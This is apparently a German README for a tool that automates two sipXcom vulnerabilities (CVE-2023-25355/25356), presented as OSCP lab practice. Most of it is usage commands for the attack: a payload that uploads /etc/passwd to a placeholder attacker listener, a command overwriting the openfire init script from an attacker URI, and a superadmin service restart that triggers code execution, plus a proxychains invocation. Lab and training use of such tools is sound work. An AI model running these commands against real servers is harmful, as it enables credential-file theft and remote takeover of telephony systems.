
CVE-2023-25355 und CVE-2023-25356 mit automatischem Service-Reload
Der Exploit wurde von [email protected] gefunden und wird in zwei großartigen Beiträgen präsentiert:
Ein Repository, das diese Schwachstelle noch weiter automatisiert, wurde von Alex Linov veröffentlicht:
CVE-2023-25355 ist ein Exfiltrationsmechanismus, bei dem Dateien auf dem sipXcom-Server auf einen vom Angreifer kontrollierten Webserver hochgeladen werden.
CVE-2023-25356 ist eine Erweiterung der ersten Schwachstelle, bei der vom Angreifer kontrollierte Dateien auf dem Dateisystem des sipXcom-Servers geschrieben werden können. Da der sipXcom-Dienst seine eigene Init-Konfiguration überschreiben kann, lässt sich daher sobald der Dienst neu gestartet wird, leicht eine Shell erlangen.
Der interessante Punkt hierbei ist, dass der sipXcom-Superadmin-Benutzer in der Lage ist, diesen Dienst neu zu starten. Das Ziel dieses Pakets ist es daher, den Neustart dieses Dienstes vollständig zu automatisieren.
Zur Vorbereitung auf OSCP gibt es Labore mit Maschinen, die geknackt werden müssen.
In einem bestimmten Labor war eine Maschine, die dieser Schwachstelle unterliegt, ist/war ziemlich instabil, was bedeutete, dass man das Labor manchmal mehrmals starten und zurücksetzen musste. Das ist nervig. Automatisiert ist es weniger nervig.
Sie benötigen:
poetry install
Dann können Sie das Tool entweder aus der aktiven Umgebung heraus ausführen, aus dem Verzeichnis oder von anderswo mit dem Namen der CVE:
# if the poetry environment is active (poetry shell)
cve_2023_25355 --help
# otherwise, from the current directory
poetry run cve_2023_25355 --help
# otherwise from another directory
poetry -C /shared/tools/CVE/CVE-2023-25355 run cve_2023_25355 --help
Im folgenden Beispiel senden wir ein Payload, um die Datei /etc/passwd zu exfiltrieren, die auf einen kontrollierten HTTP-Listener hochgeladen wird.
cve_2023_25355 \
--xmpp-username my_username --xmpp-password my_password --xmpp-target-username friend_username \
--xmpp-server-address 1.2.3.4 \
--payload '--data-binary @/etc/passwd http://ATTACKER-WEB-LISTENER/some_path'
Im folgenden Beispiel senden wir ein Payload, um /etc/init.d/openfire mit dem Inhalt der angegebenen URI zu überschreiben.
cve_2023_25356 \
--xmpp-username my_username --xmpp-password my_password --xmpp-target-username friend_username \
--xmpp-server-address 1.2.3.4 \
--sipxcom-init-file-source-uri 'http://ATTACKER-WEB-LISTENER/my-offensive-sipx-config'
Wenn wir dann das Superadmin-Passwort kennen, können wir den Dienst neu starten, um die Konfiguration neu zu laden und beliebige Gadgets auszulösen.
run sipxcom_service_restart \
--sipxcom-superuser-username superadmin \
--sipxcom-superuser-password superadmin_password \
--sipxcom-website https://1.2.3.4/
--debug-local-directory /tmp
./proxychains4 -f proxychains.conf cve_2023_25355 [...] --xmpp-server-address 172.1.2.3
Projekt: